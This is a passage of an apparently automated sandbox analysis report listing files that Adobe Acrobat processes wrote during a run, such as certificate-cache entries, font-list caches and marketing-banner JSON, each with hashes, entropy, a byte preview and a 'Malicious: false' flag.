C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7256515731729736
Encrypted:	false
SSDEEP:	3:kkFklcXxytfllXlE/HT8kDJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKFhyeT8mNMa8RdWBwRd
MD5:	C4FC1E274640F269F2CCFA5ED9D18C03
SHA1:	16E8F2D463393CC829BB9E280423AF8C8AA8425B
SHA-256:	2EFC11BC91496A6E9B228D3069A69300A0305E0E673BD74EB6573A41B92A5E89
SHA-512:	66908A752A7B3346359DFB0ECCB59C1C1C2B71EEFB7EAB3CDEEF8A903C571488594078DC9552DA6657AC5A68B0FE7411376E74BCDD65DE78D56DD66E70922AEA
Malicious:	false
Preview:	p...... ......../..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.130780111157357
Encrypted:	false
SSDEEP:	6:kKN3/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:VPiDnLNkPlE99SNxAhUe/3
MD5:	095CDC0AE0A629D2A266682683E66B1B
SHA1:	F571EBE8E96B2059E9EE79B0839F749DCDC7B2A5
SHA-256:	2448407D7FC56931100903871C06D0BFF939EAF2DD1FB9EC59A88C967CAC843C
SHA-512:	EA428FB58C06485DD9D288887834BDC22EB09E711AC11355399969343003509B5B4E10F88053358CC4B668D82D22C5F21FE448CC1CB6CBFC190C06BB3A929F1D
Malicious:	false
Preview:	p...... .........h..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.316319315365597
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJM3g98kUwPeUkwRe9:YvXKXGMU1UYpW7XICGMbLUkee9
MD5:	9CFB9B6BEDE95C033C5C47EEED7538A4
SHA1:	943060A03969E9147AF53BE11CBA9ECEA8A225F5
SHA-256:	CDABB0E4369D3433CB08040EA5FC5361585D4C3131815F0D4EA411AAC6E1D337
SHA-512:	8C434FD617DAA8DC0F54D70855803BB99137D792C98853F6B7A4805A10D2D5F0549AB6A094FEAB8F5CD4E80045E0721BFBD8A0B4B725A3F6664B50FF5F6A14F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.253696959664896
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfBoTfXpnrPeUkwRe9:YvXKXGMU1UYpW7XICGWTfXcUkee9
MD5:	09CA16DFC3C037E72696700405B42EC5
SHA1:	33AB40B614CFCB24527A3AB3F8C7CF649E0914EE
SHA-256:	FDF0960C511804B92CBC2D8F8303422A0D1E426FA97AF57B6DA10E9279563B33
SHA-512:	38C76BEF78CEDCCEE36AFB52670D99BA9A9B23FAB5535413284233820566BAE2754C503B17E0312D87E0B217F0F06DB9528371A2A3CC5ED6C7BCC95CA86C34A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.231169208868524
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfBD2G6UpnrPeUkwRe9:YvXKXGMU1UYpW7XICGR22cUkee9
MD5:	09063EF831770C7B2E91E0E5456664C5
SHA1:	46D246085F392F92B35DAD50EF2C22E0045124F5
SHA-256:	AD30D99E098817E5B80E2574B574799A220C7CA6C47A6CC74D057917A7BCF6CC
SHA-512:	46FF90D97CAAE2CC66B52C43D10CE7FE7C4112EA3E2980CAF6C276D8ED094A3BEDEFFEB74728F644365B4D2FF4A3676755E48C2A021FDDBC77009ED19CA4CE3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.293561523863337
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfPmwrPeUkwRe9:YvXKXGMU1UYpW7XICGH56Ukee9
MD5:	73BAA70FB34B795902C9795D77A7BD96
SHA1:	F5F4C7A54974C931D5AE86C85F84110EA66B3313
SHA-256:	D37166A9B6459BBE6E6989F39A56B592F409969932DEFA54016CDD744E2968DE
SHA-512:	34CD71728809101EB13460596FADBD8FF01D9A821A44424C4EF479CF8CE7EEB503558CC62AF0E411A7975CDEA6B644FFFF101CEFBE46D8036463F22D623A8A09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.678182174378803
Encrypted:	false
SSDEEP:	24:Yv6XTUTiX2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSh:YvIX2hgy6SAFv5Ah8cv/h
MD5:	0F8BDF77107DDAFAAFFD1A902F0628F7
SHA1:	127AECA4C841D959F6713136C2AD295E63ED71F0
SHA-256:	1D87AEA628BBE4360AB6CF66DD749A39797E3A4DD1D49BC2A5F3459528769C69
SHA-512:	BEF166095EF2728A1C94D9D3719BC09CE12A47D3C1402E8C18F102A7C7C459B6A3A6565E95F5BCF84F477786E4E4DF081DB2646539A8B2F54B69BC91C5837209
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.236171173732595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJf8dPeUkwRe9:YvXKXGMU1UYpW7XICGU8Ukee9
MD5:	3828C71CE30A2F4C51AC4C011236A20E
SHA1:	B6F0544669F73294AECB7748F37E0BAD425CEB4B
SHA-256:	5AB0F54FB0E9B33854941D87E68C963F8C180995A37CD53732E43D696BF0FEEE
SHA-512:	6B56AA4F9C4A265A085BC15A715F205A12A6703FCD9216A042DB7D90CD1CEC976EEACF32534BC7B9D8939CE1BCA9E044F9AC7368F6349A80DC276BBE5C792390
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.238656574282238
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfQ1rPeUkwRe9:YvXKXGMU1UYpW7XICGY16Ukee9
MD5:	333377E0AB1959A2CB1D386A3B6B22E7
SHA1:	98DA1B1F3B3358A731D907567C788AAC8934498F
SHA-256:	F50D309E822FED60C915CE7F5BDBEA56EF72CE328B20FC72D78FF9FD04205C23
SHA-512:	1A1821651EECF2E3AA8460A927F3DF48100A189339F5656ECCE248BF76D96DF308CBD29AB61BE333E9ECCFDAD7232875BE383DF1BF79CCE1F0B39AF3C973B02A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.256723265968416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfFldPeUkwRe9:YvXKXGMU1UYpW7XICGz8Ukee9
MD5:	05C70B68C9313051ADF1ECACCD5F1837
SHA1:	F9A14EE54FE78AE8EC59213044263C8A8EC71059
SHA-256:	EF772F73CE8F3BC60FA545548EBF49C16226E67B57042839E0C807E206E870AF
SHA-512:	2E4DCF005AD03B36EE0D92B66F72CADAB989246D9DF60DB27BF4E13B31F061445844FF6B27FA49734391C573AFB21F1B01BC16273372777AD5DF6A2EF225763F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.265247535025778
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfzdPeUkwRe9:YvXKXGMU1UYpW7XICGb8Ukee9
MD5:	9F7C9EE0FF67D757F314E371B3627A62
SHA1:	947089603EAAB0C882625F6C6561EE225AC67193
SHA-256:	42F0233E4846CE7C3455FD3683264370345832F5F795DEB00053496A3091F991
SHA-512:	887F55EEF87A06BCF760932217BC2B2322D6A4BC0C268EF6D1152D26C357F76E81CD0E53F3598B7855262BB2F75024B3CD1E7A88B62EDDBF9BD42954231D1356
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.245308097530456
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfYdPeUkwRe9:YvXKXGMU1UYpW7XICGg8Ukee9
MD5:	4B942CE1D0B09987ABBC1D80E1947DED
SHA1:	9658AE1E7571C392B3F5416199CD2742730E985C
SHA-256:	76172E19BF40AB53F5CBDA5B3ABF7FA46310C26973515A2B38040929C98F35D2
SHA-512:	5CEFFB1FA669CAB06FDFFC3C1C3F48C3C6E32E80630E14552C0CC9F6B3951ACF5F115BA3E17CC64E445F3571245E60FDC5E032ADF667F52D4F1C37A0A4FC3DB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.230395584746471
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJf+dPeUkwRe9:YvXKXGMU1UYpW7XICG28Ukee9
MD5:	F7A6D0AE325E7C464DB2519F44C93BDB
SHA1:	A5A23803E5A589CF7C80E098769ED4043FE9311A
